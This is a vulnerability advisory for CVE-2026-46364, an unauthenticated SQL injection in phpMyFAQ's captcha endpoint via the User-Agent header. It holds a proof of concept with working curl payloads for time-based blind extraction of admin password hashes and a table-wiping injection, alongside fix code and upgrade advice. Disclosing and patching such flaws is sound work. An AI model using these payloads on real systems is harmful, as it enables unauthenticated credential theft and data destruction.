CVE-2026-46364

BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() at phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298 and :330 interpolate the User-Agent header and client IP address into DELETE and INSERT queries with sprintf and no escaping. Both methods run on every hit to the public GET /api/captcha endpoint, which requires no authentication. An unauthenticated attacker sets the User-Agent header to a crafted SQL payload and runs SLEEP(), BENCHMARK(), or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at b9f25109): baseline request 147 ms, request with User-Agent: x' OR SLEEP(2) OR 'x 4.09 s (two SLEEP(2) calls, one per vulnerable sink).

Details

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112 populates two private fields from untrusted HTTP input at construction time:

$this->userAgent = $request->headers->get('user-agent');
$this->ip = $request->getClientIp();

Both fields are then dropped into sprintf() SQL templates without ever touching Database::escape() or a prepared statement.

garbageCollector() at line 298 (called on every captcha request via getCaptchaImage()):

$delete = sprintf(
    "
    DELETE FROM
        %sfaqcaptcha
    WHERE
        useragent = '%s' AND language = '%s' AND ip = '%s'",
    Database::getTablePrefix(),
    $this->userAgent,                                      // unescaped
    $this->configuration->getLanguage()->getLanguage(),
    $this->ip,                                             // unescaped
);
$this->configuration->getDb()->query($delete);

saveCaptcha() at line 330 does the same for INSERT:

$insert = sprintf(
    "INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('%s', '%s', '%s', '%s', %d)",
    Database::getTablePrefix(),
    $this->code,
    $this->userAgent,                                      // unescaped
    $this->configuration->getLanguage()->getLanguage(),
    $this->ip,                                             // unescaped
    $this->timestamp,
);
$this->configuration->getDb()->query($insert);

For comparison, the same file's checkCaptchaCode() at line 472 passes user input through $db->escape() before interpolation. The BuiltinCaptcha author knew about escape(); the two sinks above skip it.

Reachability

phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39 exposes the vulnerable flow as an unauthenticated GET:

#[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])]
public function renderImage(): Response
{
    if (!$this->captcha instanceof BuiltinCaptcha) {
        return new Response('', Response::HTTP_NOT_FOUND);
    }
    // ...
    $response->setContent($this->captcha->getCaptchaImage());
    return $response;
}

getCaptchaImage() calls saveCaptcha() and garbageCollector() unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting GET /api/captcha injects into two queries at once.

Impact surface

MySQL's query() method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with SLEEP() or BENCHMARK() still works, and the attacker can:

• Read any row the web user has access to through bit-by-bit IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0) chains. The faquser table holds auth_source, login, and bcrypt password hashes for every registered user; faqconfig holds the main.phpMyFAQToken admin token and SMTP credentials.
• UPDATE / DELETE arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, User-Agent: ' OR 1=1 -- deletes the entire faqcaptcha table and locks out legitimate users).

Proof of Concept

Tested against phpMyFAQ 4.2.0-alpha at master b9f25109fddb38eee19987183798638d07943f92, default install (MariaDB 10.6, Apache, PHP 8.4) on http://target:8090.

Step 1: Baseline request with a clean User-Agent:

time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
  -A "Mozilla/5.0" \
  "http://target:8090/api/captcha?nocache=1"
# HTTP 500 0.147s

Step 2: Injection with SLEEP(2) in the User-Agent:

time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
  -A "x' OR SLEEP(2) OR 'x" \
  "http://target:8090/api/captcha?nocache=2"
# HTTP 500 4.093s

The 4.09 s response time equals two SLEEP(2) executions, confirming the payload reached both the DELETE in garbageCollector() and the INSERT in saveCaptcha().

Step 3: Single-bit boolean extraction using time:

# leaks first character of the admin hash; 2s = 'a', 0s = otherwise
curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \
  "http://target:8090/api/captcha?nocache=3"

Iterating position and character enables full credential exfiltration without any authentication.

Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in faqconfig, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of /api/captcha.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-46364 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.2); upgrading removes the vulnerable code path.

Kodem intelligence

Route both fields through Database::escape() before interpolation, or replace the sprintf + query() pattern with a prepared statement.

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325:

$db = $this->configuration->getDb();
$userAgent = $db->escape($this->userAgent);
$language = $db->escape($this->configuration->getLanguage()->getLanguage());
$ip = $db->escape($this->ip);

$delete = sprintf(
    "DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'",
    Database::getTablePrefix(),
    $userAgent,
    $language,
    $ip,
);
$db->query($delete);

Apply the same change to saveCaptcha() at line 330 and to every other sprintf-into-SQL path in the file. A targeted audit for sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE across src/phpMyFAQ/ will surface the rest.

Found by aisafe.io

1. What is CVE-2026-46364? CVE-2026-46364 is a critical-severity SQL injection vulnerability in thorsten/phpmyfaq (composer), affecting versions <= 4.1.1. It is fixed in 4.1.2. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2026-46364? CVE-2026-46364 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-46364?
   • thorsten/phpmyfaq (composer) (versions <= 4.1.1)
   • phpmyfaq/phpmyfaq (composer) (versions <= 4.1.1)
4. Is there a fix for CVE-2026-46364? Yes. CVE-2026-46364 is fixed in 4.1.2. Upgrade to this version or later.
5. Is CVE-2026-46364 exploitable, and should I be worried? Whether CVE-2026-46364 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-46364 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-46364?
   • Upgrade thorsten/phpmyfaq to 4.1.2 or later
   • Upgrade phpmyfaq/phpmyfaq to 4.1.2 or later